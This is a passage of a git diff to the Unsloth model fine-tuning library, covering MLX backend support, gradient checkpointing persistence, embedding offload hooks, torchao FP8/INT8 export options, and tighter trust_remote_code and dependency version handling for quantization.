_trainer.UnslothTrainingArguments = UnslothTrainingArguments + _trainer.UnslothVisionDataCollator = UnslothVisionDataCollator + _sys.modules[module_name] = _trainer + globals()["trainer"] = _trainer + + _install_mlx_trl_sft_shim() + _install_mlx_unsloth_trainer_shim() + else: # GPU path: load everything from _gpu_init from ._gpu_init import * from ._gpu_init import __version__ + + def get_gpu_memory_stats(): + """Return CUDA/ROCm/XPU device stats, peak memory, and total memory in GiB.""" + try: + import torch + if hasattr(torch, "xpu") and torch.xpu.is_available(): + props = torch.xpu.get_device_properties(0) + peak = ( + torch.xpu.max_memory_reserved() + if hasattr(torch.xpu, "max_memory_reserved") + else torch.xpu.max_memory_allocated() + ) + total = getattr(props, "total_memory", 0) + return props, _bytes_to_gb(peak), _bytes_to_gb(total) or 1.0 + if hasattr(torch, "cuda") and torch.cuda.is_available(): + props = torch.cuda.get_device_properties(0) + peak = torch.cuda.max_memory_reserved() + total = getattr(props, "total_memory", 0) + return props, _bytes_to_gb(peak), _bytes_to_gb(total) or 1.0 + except Exception: + pass + stats = _UnslothDeviceStats("Unknown GPU", 0) + return stats, 0.0, 1.0 + + def clear_gpu_memory(): + """Clear cached GPU memory on CUDA, ROCm, or XPU when available.""" + try: + import torch + if hasattr(torch, "xpu") and torch.xpu.is_available(): + torch.xpu.empty_cache() + elif hasattr(torch, "cuda") and torch.cuda.is_available(): + torch.cuda.empty_cache() + except Exception: + pass diff --git a/unsloth/_compressed_quantize.py b/unsloth/_compressed_quantize.py index 66ebdd75da..8f7ed6e09e 100644 --- a/unsloth/_compressed_quantize.py +++ b/unsloth/_compressed_quantize.py @@ -203,6 +203,7 @@ def main(): ap.add_argument("--max-seq-length", type = int, default = 2048) ap.add_argument("--is-vlm", action = "store_true") ap.add_argument("--trust-remote-code", action = "store_true") + ap.add_argument("--trust-remote-code-tokenizer", action = "store_true") ap.add_argument("--variant", default = "", help = "weight-filename variant for the output shards") args = ap.parse_args() @@ -232,7 +233,11 @@ def main(): model.eval() # A tokenizer may be absent if the caller saved it separately; only calibration needs one. try: - tokenizer = auto_proc.from_pretrained(args.model, trust_remote_code = args.trust_remote_code) + # The tokenizer/processor has its own trust flag: consent for one component must not + # let the other's custom code run. + tokenizer = auto_proc.from_pretrained( + args.model, trust_remote_code = args.trust_remote_code_tokenizer + ) except Exception: if args.needs_calibration: raise RuntimeError( @@ -245,6 +250,10 @@ def main(): # expert even if the sample set does not route tokens to all of them. is_moe = _is_moe(getattr(model, "config", None)) ignore = ["lm_head"] + # Skip the same modules RedHatAI/NVIDIA skip for the Qwen3.5 / Qwen3-Next family (these also have + # shapes not divisible by the grouped-scheme group_size, which would otherwise error). No-ops + # elsewhere. Hybrid linear attention, VLM vision tower, and the MTP/speculative head. + ignore += ["re:.*\\.linear_attn\\..*", "re:.*\\.visual\\..*", "re:.*mtp.*"] if is_moe: # Keep MoE routing layers unquantized: the router gate and (Qwen) shared-expert gate. ignore += ["re:.*\\.gate$", "re:.*\\.shared_expert_gate$"] diff --git a/unsloth/chat_templates.py b/unsloth/chat_templates.py index 60eb8de5d7..169b2dbd0e 100644 --- a/unsloth/chat_templates.py +++ b/unsloth/chat_templates.py @@ -27,18 +27,25 @@ __all__ = [ "test_construct_chat_template", ] -from transformers import StoppingCriteria, StoppingCriteriaList -from torch import LongTensor, FloatTensor -from transformers.models.llama.modeling_llama import logger +from transformers.utils import logging +try: + from torch import LongTensor, FloatTensor +except ImportError: + LongTensor = FloatTensor = None +logger = logging.get_logger(__name__) import os import shutil -from .tokenizer_utils import * import re from .ollama_template_mappers import OLLAMA_TEMPLATES -from unsloth_zoo.dataset_utils import ( - train_on_responses_only, - standardize_data_formats, -) +try: + from unsloth_zoo.dataset_utils import ( + train_on_responses_only, + standardize_data_formats, + ) +except ImportError: + # dataset_utils pulls torch; keep chat_templates importable on torch-free + # (MLX) hosts, which expose these via the backend-specific wrappers instead. + train_on_responses_only = standardize_data_formats = None standardize_sharegpt = standardize_data_formats CHAT_TEMPLATES = {} DEFAULT_SYSTEM_MESSAGE = {} @@ -1838,11 +1845,24 @@ def get_chat_template( map_eos_token = True, system_message = None, patch_saving = True, - use_zoo_tokenizer_patch = False, + use_zoo_tokenizer_patch = None, ): assert(type(map_eos_token) is bool) + import sys + is_mlx_backend = getattr(sys.modules.get("unsloth"), "DEVICE_TYPE", None) == "mlx" + if use_zoo_tokenizer_patch is None: + use_zoo_tokenizer_patch = is_mlx_backend old_tokenizer = tokenizer + # mlx-lm's TokenizerWrapper._tokenizer is the HF tokenizer, not the Rust + # backend the vocab-edit paths below need; unwrap here, re-wrap before return. + _mlx_tokenizer_wrapper = None + if is_mlx_backend and tokenizer.__class__.__name__ == "TokenizerWrapper": + _inner_tokenizer = getattr(tokenizer, "_tokenizer", None) + if _inner_tokenizer is not None and hasattr(_inner_tokenizer, "is_fast"): + _mlx_tokenizer_wrapper = tokenizer + tokenizer = _inner_tokenizer + IS_GEMMA = False if tokenizer.__class__.__name__.startswith("Gemma"): if chat_template == "chatml": chat_template = "gemma_chatml" @@ -1952,6 +1972,7 @@ def get_chat_template( pass # Must fix the sentence piece tokenizer since there's no tokenizer.model file! + from .tokenizer_utils import fix_sentencepiece_tokenizer tokenizer = fix_sentencepiece_tokenizer(tokenizer, new_tokenizer, token_mapping,) else: pass @@ -1997,6 +2018,7 @@ def get_chat_template( # Must fix the sentence piece tokenizer since there's no tokenizer.model file! token_mapping = { old_eos_token : stop_word, } + from .tokenizer_utils import fix_sentencepiece_tokenizer tokenizer = fix_sentencepiece_tokenizer(tokenizer, new_tokenizer, token_mapping,) pass @@ -2057,13 +2079,25 @@ def get_chat_template( # stopping_criteria = create_stopping_criteria(tokenizer, stop_word) # Patch saving functions - if patch_saving: + if patch_saving and not is_mlx_backend: from .save import patch_saving_functions tokenizer = patch_saving_functions(tokenizer) # Add Ollama tokenizer._ollama_modelfile = ollama_modelfile tokenizer._system_message = system_message + + # Re-wrap so the trainer gets the same TokenizerWrapper type back. + if _mlx_tokenizer_wrapper is not None: + _mlx_tokenizer_wrapper._tokenizer = tokenizer + eos_token_id = getattr(tokenizer, "eos_token_id", None) + if eos_token_id is not None: + _mlx_tokenizer_wrapper._eos_token_ids = {eos_token_id} + _mlx_tokenizer_wrapper._chat_template = None + _mlx_tokenizer_wrapper.has_chat_template = ( + getattr(tokenizer, "chat_template", None) is not None + ) + tokenizer = _mlx_tokenizer_wrapper return tokenizer#, stopping_criteria @@ -2749,6 +2783,15 @@ extra_eos_tokens = None, def create_stopping_criteria(tokenizer, stop_word = "eos_token"): + try: + import torch + from transformers import StoppingCriteria, StoppingCriteriaList + except ImportError as exc: + raise ImportError( + "Unsloth: create_stopping_criteria requires PyTorch and is only " + "supported on Torch backends." + ) from exc + class StoppingCriteriaSub(StoppingCriteria): __slots__ = "stop_token", "single_match", "length", @@ -2828,10 +2871,10 @@ def test_chat_templates(): for j in range(len(messages)-1): correct_prompt.append_message(correct_prompt.roles[j%2==1], messages[j+1]["content"]) correct_prompt.append_message(correct_prompt.roles[1], "") - correct_prompt = tokenizer.bos_token + correct_prompt.get_prompt() template = vicuna_template correct_tokenizer = AutoTokenizer.from_pretrained("lmsys/vicuna-7b-v1.5") + correct_prompt = correct_tokenizer.bos_token + correct_prompt.get_prompt() correct_tokenizer.chat_template = template our_prompt = correct_tokenizer.apply_chat_template(messages[1:], tokenize = False, add_generation_prompt = True) assert(correct_prompt == our_prompt) @@ -2845,10 +2888,10 @@ def test_chat_templates(): for j in range(len(messages)-1): correct_prompt.append_message(correct_prompt.roles[j%2==1], messages[j+1]["content"]) correct_prompt.append_message(correct_prompt.roles[1], "") - correct_prompt = tokenizer.bos_token + correct_prompt.get_prompt() template = vicuna_old_template correct_tokenizer = AutoTokenizer.from_pretrained("lmsys/vicuna-7b-v1.5") + correct_prompt = correct_tokenizer.bos_token + correct_prompt.get_prompt() correct_tokenizer.chat_template = template our_prompt = correct_tokenizer.apply_chat_template(messages[1:], tokenize = False, add_generation_prompt = True) # We add ourselves diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py index 4646d51c6a..d8adf51d5c 100644 --- a/unsloth/models/_utils.py +++ b/unsloth/models/_utils.py @@ -3606,8 +3606,27 @@ def make_fast_generate_wrapper(original_generate): @functools.wraps(original_generate) def _fast_generate_wrapper(*args, **kwargs): - # Check for vLLM-specific arguments - if "sampling_params" in kwargs: + def _has_sampling_params(a): + # SamplingParams passed directly or inside a positional list/tuple + return type(a).__name__ == "SamplingParams" or ( + isinstance(a, (list, tuple)) + and any(type(i).__name__ == "SamplingParams" for i in a) + ) + + def _is_vllm_prompt(a): + # str prompt, a vLLM prompt dict (prompt / prompt_token_ids / prompt_embeds / + # multi_modal_data), or a list/tuple of those + head = a[0] if isinstance(a, (list, tuple)) and len(a) > 0 else a + return isinstance(head, str) or ( + isinstance(head, dict) + and any( + k in head + for k in ("prompt", "prompt_token_ids", "prompt_embeds", "multi_modal_data") + ) + ) + + # vLLM-only; also catch SamplingParams passed positionally (fast_generate(prompt, params)) + if "sampling_params" in kwargs or any(_has_sampling_params(a) for a in args): raise ValueError( "Unsloth: `sampling_params` is only supported when `fast_inference=True` (vLLM). " "Since `fast_inference=False`, use HuggingFace generate arguments instead:\n" @@ -3620,33 +3639,26 @@ def make_fast_generate_wrapper(original_generate): "Since `fast_inference=False`, LoRA weights are already merged into the model." ) - # Check if first positional argument is a string or list of strings - if len(args) > 0: - first_arg = args[0] - is_string_input = False - - if isinstance(first_arg, str): - is_string_input = True - elif isinstance(first_arg, (list, tuple)) and len(first_arg) > 0: - if isinstance(first_arg[0], str): - is_string_input = True - - if is_string_input: - raise ValueError( - "Unsloth: Passing text strings to `fast_generate` is only supported " - "when `fast_inference=True` (vLLM). Since `fast_inference=False`, you must " - "tokenize the input first:\n\n" - " messages = tokenizer.apply_chat_template(\n" - ' [{"role": "user", "content": "Your prompt here"}],\n' - " tokenize=True, add_generation_prompt=True,\n" - ' return_tensors="pt", return_dict=True\n' - " )\n" - " output = model.fast_generate(\n" - " **messages.to('cuda'),\n" - " max_new_tokens=64,\n" - " temperature=1.0,\n" - " )" - ) + # A vLLM-style prompt (string, {"prompt":..., "multi_modal_data":...} dict, or a list/tuple + # of either) only works under vLLM; tokenize first when fast_inference=False. A positional + # arg may be HF token ids, so check it conservatively with _is_vllm_prompt. The `prompts` / + # `prompt_token_ids` / `prompt_embeds` keywords are vLLM-only names that HuggingFace generate + # does not accept, so any of them being present is a vLLM-style call (even a bare token list, + # or an explicit None from a defaulted kwargs dict), hence membership rather than a value check. + vllm_prompt_kwarg = any( + k in kwargs for k in ("prompts", "prompt_token_ids", "prompt_embeds") + ) + if (len(args) > 0 and _is_vllm_prompt(args[0])) or vllm_prompt_kwarg: + raise ValueError( + "Unsloth: Passing vLLM-style prompts to `fast_generate` is only supported when " + "`fast_inference=True` (vLLM). Since `fast_inference=False`, tokenize first:\n\n" + " inputs = tokenizer.apply_chat_template(\n" + ' [{"role": "user", "content": "Your prompt here"}],\n' + " tokenize=True, add_generation_prompt=True,\n" + ' return_tensors="pt", return_dict=True,\n' + " )\n" + " output = model.fast_generate(**inputs.to('cuda'), max_new_tokens=64, temperature=1.0)" + ) # Call original generate return original_generate(*args, **kwargs) diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py index 14ee5ee24e..bb7289dfa8 100644 --- a/unsloth/models/llama.py +++ b/unsloth/models/llama.py @@ -3047,6 +3047,9 @@ class FastLlamaModel: # Pre-wrapped PEFT model passes through here; still arm the detector so an RL # trainer can reset a compile cache poisoned by a pre-train forward. _unsloth_install_pretrain_detector(model) + # This branch returns before patch_peft_model, so record here too; + # apply_unsloth_gradient_checkpointing above already re-patched global state to match (#4735). + model._unsloth_gradient_checkpointing = use_gradient_checkpointing model = _exclude_rope_inv_freq_from_ddp(model) return model else: @@ -3406,6 +3409,11 @@ class FastLlamaModel: @staticmethod def patch_peft_model(model, use_gradient_checkpointing = "unsloth"): + # Persist the effective GC mode so the trainer restores it verbatim: for_inference() + # clears the module flags every GRPO step, and a plain TrainingArguments defaults it to + # False, which would otherwise silently disable it at train time (#4735). Recorded here, + # not in get_peft_model, so adapters loaded via loader.py's from_pretrained path are covered. + model._unsloth_gradient_checkpointing = use_gradient_checkpointing if os.environ.get("UNSLOTH_USE_NEW_MODEL", "0") == "1": return FastBaseModel.patch_peft_model( model = model, diff --git a/unsloth/models/rl.py b/unsloth/models/rl.py index 53668d14d8..62ef9e916a 100644 --- a/unsloth/models/rl.py +++ b/unsloth/models/rl.py @@ -423,8 +423,14 @@ def prepare_for_training_mode(f): pass # Enable training mode _was_training = None - # Get gradient checkpointing setting from training arguments - use_gc = getattr(self.args, 'gradient_checkpointing', True) + # Restore the GC mode the model was configured with at setup; fall back to + # the training args only when it wasn't recorded (issue #4735). Use hasattr, + # not a None sentinel, so a deliberately-recorded None is restored verbatim. + _model = getattr(self, 'model', None) + if hasattr(_model, '_unsloth_gradient_checkpointing'): + use_gc = _model._unsloth_gradient_checkpointing + else: + use_gc = getattr(self.args, 'gradient_checkpointing', True) if hasattr(self, 'model') and hasattr(self.model, "training"): _was_training = self.model.training if hasattr(self, 'model') and hasattr(self.model, "for_training"): @@ -532,7 +538,8 @@ class Unsloth{RLTrainer_name}(_Unsloth{RLTrainer_name}): if getattr(args, "_n_gpu", 1) != 1: args._n_gpu = 1 if "model" in locals() and hasattr(model, "for_training"): - model.for_training(use_gradient_checkpointing=getattr(args, 'gradient_checkpointing', True)) + _use_gc = model._unsloth_gradient_checkpointing if hasattr(model, '_unsloth_gradient_checkpointing') else getattr(args, 'gradient_checkpointing', True) + model.for_training(use_gradient_checkpointing=_use_gc) super().__init__({RLTrainer_call_args}{RLTrainer_kwargs}) if "model" in locals() and hasattr(model, "for_inference"): model.for_inference() @@ -1015,6 +1022,9 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"): "dtype = _get_dtype(dtype)\n" "float16 = dtype == torch.float16\n" "bfloat16 = dtype == torch.bfloat16\n" + "if full_finetuning:\n" + " if bfloat16 and use_fp16: use_fp16 = False\n" + " if float16 and use_bf16: use_bf16 = False\n" "if not force_float32 and (float16 and use_bf16): raise TypeError('Unsloth: Model is in float16 precision but you want to use bfloat16 precision. Set fp16 to `True` and bf16 to `False`')\n" "if not force_float32 and (bfloat16 and use_fp16): raise TypeError('Unsloth: Model is in bfloat16 precision but you want to use float16 precision. Set fp16 to `False` and bf16 to `True`')\n" "if force_float32:\n" @@ -1162,7 +1172,8 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"): if "model" in call_args: training_check = ( "if model is not None and hasattr(model, 'for_training'):\n" - " model.for_training(use_gradient_checkpointing=getattr(args, 'gradient_checkpointing', True))\n" + " _use_gc = model._unsloth_gradient_checkpointing if hasattr(model, '_unsloth_gradient_checkpointing') else getattr(args, 'gradient_checkpointing', True)\n" + " model.for_training(use_gradient_checkpointing=_use_gc)\n" "if 'tokenizer' in locals() and hasattr(tokenizer, 'padding_side'): tokenizer.padding_side = 'right'\n" "if 'processing_class' in locals():\n" " if hasattr(processing_class, 'padding_side'): processing_class.padding_side = 'right'\n" diff --git a/unsloth/models/rl_replacements.py b/unsloth/models/rl_replacements.py index 61a07b686d..3be614cf4a 100644 --- a/unsloth/models/rl_replacements.py +++ b/unsloth/models/rl_replacements.py @@ -761,7 +761,8 @@ def grpo_trainer__generate_and_score_completions(function_name, function): # Left pad prompt before calculation old and ref hidden states left_pad_tokens_per_prompt = calculate_pad_tokens_in_prompt(prompt_completion_ids, logits_to_keep, self.processing_class.pad_token_id) max_left_pad = torch.max(left_pad_tokens_per_prompt).item() - self.model.for_training(use_gradient_checkpointing=getattr(self.args, 'gradient_checkpointing', True))""" + _use_gc = self.model._unsloth_gradient_checkpointing if hasattr(self.model, '_unsloth_gradient_checkpointing') else getattr(self.args, 'gradient_checkpointing', True) + self.model.for_training(use_gradient_checkpointing=_use_gc)""" function = function.replace(line_to_replace, replacement_lines) @@ -1337,11 +1338,12 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function): image_sizes_chunks.append(slice_sample_axis(image_sizes, start, end)) temperature = self.temperature - logit_softcapping = _unsloth_get_final_logit_softcapping(model.config) - logit_scale_multiply = getattr(model.config, "logit_scale", 0) + model_config = _unsloth_get_model_config(model) + logit_softcapping = _unsloth_get_final_logit_softcapping(model) + logit_scale_multiply = getattr(model_config, "logit_scale", 0) if logit_scale_multiply is None: logit_scale_multiply = 0 - logit_scale_divide = getattr(model.config, "logits_scaling", 0) + logit_scale_divide = getattr(model_config, "logits_scaling", 0) if logit_scale_divide is None: logit_scale_divide = 0 @@ -1471,7 +1473,15 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function): RL_FUNCTIONS["grpo_trainer"].append(grpo_trainer__get_per_token_logps_and_entropies) -def _unsloth_get_final_logit_softcapping(config): +def _unsloth_get_model_config(model): + """Return HuggingFace model config, unwrapping DDP/Accelerate wrappers.""" + config = getattr(model, "config", None) + if config is None and hasattr(model, "module"): + config = getattr(model.module, "config", None) + return config + + +def _unsloth_get_final_logit_softcapping(model): """Return final_logit_softcapping for a model config, falling back to the nested text sub-config for composite models. Handles both: - Gemma-4-style configs where the attribute lives on ``config.text_config`` @@ -1479,6 +1489,9 @@ def _unsloth_get_final_logit_softcapping(config): reachable via ``config.get_text_config()`` Returns 0 if unset, matching the previous behaviour. """ + config = _unsloth_get_model_config(model) + if config is None: + return 0 softcap = getattr(config, "final_logit_softcapping", None) if softcap is None: text_cfg = getattr(config, "text_config", None) @@ -1499,6 +1512,7 @@ grpo_compute_loss_slow = RL_REPLACEMENTS["grpo_compute_loss_slow"] UnslothEfficientGRPO = RL_REPLACEMENTS["UnslothEfficientGRPO"] grpo_accumulated_loss = RL_REPLACEMENTS["grpo_accumulated_loss"] grpo_update_SamplingParams = RL_REPLACEMENTS["grpo_update_SamplingParams"] +RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_unsloth_get_model_config)) RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_unsloth_get_final_logit_softcapping)) RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_unsloth_get_mm_token_id)) RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_unsloth_fix_mm_token_type_ids)) @@ -1616,11 +1630,12 @@ def grpo_trainer_compute_loss(function_name, function): input_ids = input_ids[:, -logits_to_keep:] # Get logit softcapping and logit scale - logit_softcapping = _unsloth_get_final_logit_softcapping(model.config) # Gemma - logit_scale_multiply = getattr(model.config, "logit_scale", 0) # Cohere + model_config = _unsloth_get_model_config(model) + logit_softcapping = _unsloth_get_final_logit_softcapping(model) # Gemma + logit_scale_multiply = getattr(model_config, "logit_scale", 0) # Cohere if logit_scale_multiply is None: logit_scale_multiply = 0 - logit_scale_divide = getattr(model.config, "logits_scaling", 0) # Granite + logit_scale_divide = getattr(model_config, "logits_scaling", 0) # Granite if logit_scale_divide is None: logit_scale_divide = 0 diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py index 3e3123dccd..870713a05c 100644 --- a/unsloth/models/vision.py +++ b/unsloth/models/vision.py @@ -238,6 +238,71 @@ def _attach_bnb_multidevice_hooks( global NUM_LOGITS_TO_KEEP NUM_LOGITS_TO_KEEP = dict() + +def _unsloth_generate_accepts_kwarg(model, key): + # True if the top level accepts this generate kwarg (some models expose it on an inner forward only). + try: + model_args = set(inspect.signature(model.prepare_inputs_for_generation).parameters) + except (TypeError, ValueError, AttributeError): + model_args = set() + if "kwargs" in model_args or "model_kwargs" in model_args: + try: + model_args |= set(inspect.signature(model.forward).parameters) + except (TypeError, ValueError, AttributeError): + pass + return key in model_args + + +def _install_offload_embedding_hooks(embed_tokens, output_embeddings, return_device): + # Lookup runs on the weight's current device (CPU when offloaded); the output returns to the + # decoder device read live from output_embeddings (lm_head, untied here) so it tracks + # model.to() moves. A meta (disk-offloaded) or missing lm_head falls back to return_device. + if embed_tokens is None: + return False + if getattr(embed_tokens, "_unsloth_offload_hooks_installed", False): + return True + + def _decoder_device(): + weight = getattr(output_embeddings, "weight", None) + if weight is not None and weight.device.type != "meta": + return weight.device + return return_device + + def _unsloth_offload_pre_hook(module, args): + if not args: + return args + inp = args[0] + if not hasattr(inp, "device"): + return args + weight = getattr(module, "weight", None) + target = weight.device if weight is not None else _decoder_device() + if target is None or inp.device == target: + return args + return (inp.to(target),) + tuple(args[1:]) + + def _unsloth_offload_post_hook(module, args, output): + target = _decoder_device() + if target is not None and hasattr(output, "device") and output.device != target: + return output.to(target) + return output + + embed_tokens.register_forward_pre_hook(_unsloth_offload_pre_hook, prepend = True) + embed_tokens.register_forward_hook(_unsloth_offload_post_hook, prepend = True) + embed_tokens._unsloth_offload_hooks_installed = True + return True + + +def _embeddings_are_tied(input_embeddings, output_embeddings): + # Tied lm_head reuses this weight; offloading to CPU would strand the output projection. + if input_embeddings is None or output_embeddings is None: + return False + w_in = getattr(input_embeddings, "weight", None) + w_out = getattr(output_embeddings, "weight", None) + if w_in is None or w_out is None: + return False + return w_in is w_out or w_in.data_ptr() == w_out.data_ptr() + + VLLM_SUPPORTED_VLM = [ "qwen2_5_vl", "gemma3", @@ -321,6 +386,13 @@ def unsloth_base_fast_generate(self, *args, **kwargs): kwargs.pop("token_type_ids", None) # kwargs.pop("token_type_ids", None) + # Vision processors emit mm_token_type_ids that generate() rejects (Qwen3-VL); unlike + # logits_to_keep it is an incoming kwarg, so drop it when generate does not accept it. + if "mm_token_type_ids" in kwargs and not _unsloth_generate_accepts_kwarg( + self, "mm_token_type_ids" + ): + kwargs.pop("mm_token_type_ids", None) + # VLMs do not allow logits_to_keep. # transformers >= 5.0 sets logits_to_keep=1 itself in GenerationMixin.generate # (utils.py:2527) AFTER _validate_model_kwargs runs, so pre-injecting it here @@ -330,8 +402,7 @@ def unsloth_base_fast_generate(self, *args, **kwargs): global NUM_LOGITS_TO_KEEP if arch not in NUM_LOGITS_TO_KEEP: m = self - # Find which is needed ie - # num_logits_to_keep or logits_to_keep + # Find which is used: num_logits_to_keep or logits_to_keep while hasattr(m, "model"): if hasattr(m, "forward"): keys = inspect.signature(m.forward).parameters.keys() @@ -345,7 +416,7 @@ def unsloth_base_fast_generate(self, *args, **kwargs): if arch not in NUM_LOGITS_TO_KEEP: NUM_LOGITS_TO_KEEP[arch] = None key = NUM_LOGITS_TO_KEEP[arch] - if key is not None and key not in kwargs: + if key is not None and key not in kwargs and _unsloth_generate_accepts_kwarg(self, key): kwargs[key] = 1 else: kwargs.pop("logits_to_keep", None) @@ -1033,6 +1104,12 @@ class FastBaseModel: raise_handler = RaiseUninitialized() try: + if offload_embedding and fast_inference: + # vLLM manages its own weights; embedding offload does not apply. + print( + "Unsloth: Not offloading embeddings; incompatible with fast_inference (vLLM)." + ) + offload_embedding = False if not fast_inference: # Prevent load_in_fp8 from being forwarded into HF internal model loading load_in_fp8 = kwargs.pop("load_in_fp8", None) @@ -1079,21 +1156,26 @@ class FastBaseModel: pass else: embed_tokens = model.get_input_embeddings() + out_embed = ( + model.get_output_embeddings() + if hasattr(model, "get_output_embeddings") + else None + ) + if _embeddings_are_tied(embed_tokens, out_embed): + raise NotImplementedError( + "offload_embedding = True is not supported for models with tied word " + "embeddings (embed_tokens shares its weight with lm_head). Offloading " + "would strand the output projection on CPU and saves no VRAM. Set " + "offload_embedding = False for this model." + ) nbytes = embed_tokens.weight.numel() * embed_tokens.weight.itemsize ngb = round(nbytes / 1024 / 1024 / 1024, 2) print(f"Unsloth: Offloading embeddings to RAM to save {ngb} GB.") + _embed_device = embed_tokens.weight.device # decoder device, before offload embed_tokens.to("cpu") - # Add hooks to move inputs to CPU and back to CUDA - # [TODO] Doesn't seem to work! - # def pre_hook(module, args): - # args[0]._old_device = args[0].device - # return (args[0].to("cpu", non_blocking = True)) - # def post_hook(module, args, output): - # old_device = getattr(args[0], "_old_device", "cuda") - # return output.to(old_device, non_blocking = True) - # embed_tokens.register_forward_pre_hook(pre_hook, prepend = True) - # embed_tokens.register_forward_hook (post_hook, prepend = True) + # Device-safe embedding offload. + _install_offload_embedding_hooks(embed_tokens, out_embed, _embed_device) # Must free GPU memory otherwise will not free! torch.cuda.empty_cache() gc.collect() @@ -1799,6 +1881,11 @@ class FastBaseModel: float32_mixed_precision = float32_mixed_precision, patch_modules_to_save = True, ) + # Persist the configured GC mode so the trainer restores it verbatim. + # for_inference() clears the module flags (GRPO does this every generation + # step), and a plain TrainingArguments defaults gradient_checkpointing=False, + # which would otherwise silently disable this setting at train time (#4735). + model._unsloth_gradient_checkpointing = use_gradient_checkpointing # Gemma3N audio conformer processes variable-length audio tensors # that cause stride mismatches in AOT autograd compiled backward diff --git a/unsloth/save.py b/unsloth/save.py index 76bc6aa733..a6697e98a1 100644 --- a/unsloth/save.py +++ b/unsloth/save.py @@ -205,6 +205,67 @@ COMPRESSED_EXPORT_SCHEMES = { } +# torchao "portable" quant export: device-agnostic FP8 / INT8, no NVIDIA GPU needed. +# alias -> (kind, sibling suffix). FP8 saves to safetensors, INT8 to .bin; both load in vLLM. +TORCHAO_EXPORT_SCHEMES = { + "torchao_fp8": ("fp8", "torchao-fp8"), + "torchao_int8": ("int8", "torchao-int8"), + "portable_fp8": ("fp8", "torchao-fp8"), + "portable_int8": ("int8", "torchao-int8"), +} + + +def _normalize_torchao_method(save_method): + """Return (kind, suffix) if `save_method` is a torchao portable FP8/INT8 export, else None.""" + if not isinstance(save_method, str): + return None + key = save_method.lower().strip().replace("-", "_").replace(" ", "_") + return TORCHAO_EXPORT_SCHEMES.get(key) + + +def _loaded_via_remote_code(obj): + """True if `obj`'s class comes from downloaded custom code (an auto_map module). + + Transformers loads auto_map code into the ``transformers_modules`` package, so a + ``transformers_modules`` class proves the original load actually ran that remote code + (which the caller's / Studio's consent gate scans at load time). Export paths derive their + reload trust_remote_code from this - the already approved load decision - instead of from a + checkpoint's static ``auto_map``: a model that loads with built-in classes must not have its + unvetted remote code run when it is re-read during quantization export. Walks PEFT / wrapper + layers so a LoRA over a custom-code base is still detected, and processor components so a + custom tokenizer held inside a built-in processor keeps its approved trust. + """ + seen = set() + queue = [obj] + while queue and len(seen) < 16: + node = queue.pop(0) + if node is None or id(node) in seen: + continue + seen.add(id(node)) + # __module__ can be None/absent on some dynamically created or C-extension classes; + # treat anything non-string as "not remote code" rather than crashing the export. + module = getattr(type(node), "__module__", None) + if isinstance(module, str) and module.startswith("transformers_modules"): + return True + if hasattr(node, "get_base_model"): + try: + queue.append(node.get_base_model()) + except Exception: + pass + # PEFT / trainer wrappers hold the real model in base_model / model; a built-in + # ProcessorMixin holds its (possibly custom-code) components as attributes. + for attr in ( + "base_model", + "model", + "tokenizer", + "image_processor", + "feature_extractor", + "video_processor", + ): + queue.append(getattr(node, attr, None)) + return False + + def _normalize_compressed_method(save_method): """Return (scheme, needs_calibration, suffix) if `save_method` is an FP8/FP4 compressed export, else None (so normal lora / merged_16bit / merged_4bit handling proceeds). @@ -215,6 +276,9 @@ def _normalize_compressed_method(save_method): if not isinstance(save_method, str): return None key = save_method.lower().strip().replace("-", "_").replace(" ", "_") + # torchao aliases route to the torchao path, so skip them before the "fp8" near-miss check. + if key in TORCHAO_EXPORT_SCHEMES: + return None if key in COMPRESSED_EXPORT_SCHEMES: return COMPRESSED_EXPORT_SCHEMES[key] if any(tag in key for tag in ("fp8", "fp4", "mxfp", "nvfp", "w4a", "w8a", "int4", "int8")): @@ -1363,11 +1427,65 @@ def install_python_non_blocking(packages = []): return run_installer +# Bound the first-use auto-install so no unvetted release is pulled: not an inflated "0.999.0", nor +# a crafted higher in-range patch like "0.12.999" from a mirror. Cap to the exact vetted patch and +# bump deliberately. Floor 0.6.0 keeps torch>=2.4 resolvable (0.7+ need torch>=2.7; torch pinned below). +_LLM_COMPRESSOR_SPEC = "llmcompressor>=0.6.0,<=0.12.0" + +# Highest transformers release llm-compressor 0.10.x/0.12.x can run against (its metadata pins +# transformers<=4.57.6). Models that require a newer-transformers sidecar (e.g. Qwen3.5 needs +# transformers 5.3.0) cannot be quantized by llm-compressor at all: it imports +# transformers.modeling_utils.TORCH_INIT_FUNCTIONS, which was removed in transformers 5.x, so the +# compressed-export subprocess dies with a cryptic ImportError AFTER the expensive 16bit merge. +# Detect that up front and fail fast with an actionable message. Bump this in lockstep with a +# llm-compressor release that supports newer transformers. +_LLM_COMPRESSOR_MAX_TRANSFORMERS = "4.57.6" + + +def _transformers_exceeds_llm_compressor_ceiling(transformers_version = None): + """Return (exceeds, active_version) comparing the active transformers to the llm-compressor ceiling. + + `exceeds` is True only when we can parse both versions and the active transformers is strictly + newer than `_LLM_COMPRESSOR_MAX_TRANSFORMERS`. Any parse failure returns False (fail open) so a + real quantization attempt still surfaces the underlying error rather than a false positive. + """ + if transformers_version is None: + try: + import transformers as _tf + transformers_version = _tf.__version__ + except Exception: + return False, "unknown" + try: + from packaging.version import parse as _parse + + # Drop any local build suffix ("4.57.6+abc") so it does not skew the comparison. + active = _parse(str(transformers_version).split("+", 1)[0]) + ceiling = _parse(_LLM_COMPRESSOR_MAX_TRANSFORMERS) + return active > ceiling, str(transformers_version) + except Exception: + return False, str(transformers_version) + + +# A caller (e.g. Unsloth Studio) can enable FP8/FP4 export of newer-transformers models (Qwen3.5, +# Gemma-4, ...) by provisioning a dedicated llm-compressor-main "shadow" (transformers>=5.9 layered +# over the existing torch) and pointing us at its sys.path entry via this env var. When set, the +# quantization subprocess uses it instead of the workspace llm-compressor and the ceiling fail-fast +# is bypassed. +_COMPRESSED_QUANTIZE_PYTHONPATH_ENV = "UNSLOTH_COMPRESSED_QUANTIZE_PYTHONPATH" + + +def _compressed_quantize_pythonpath(): + 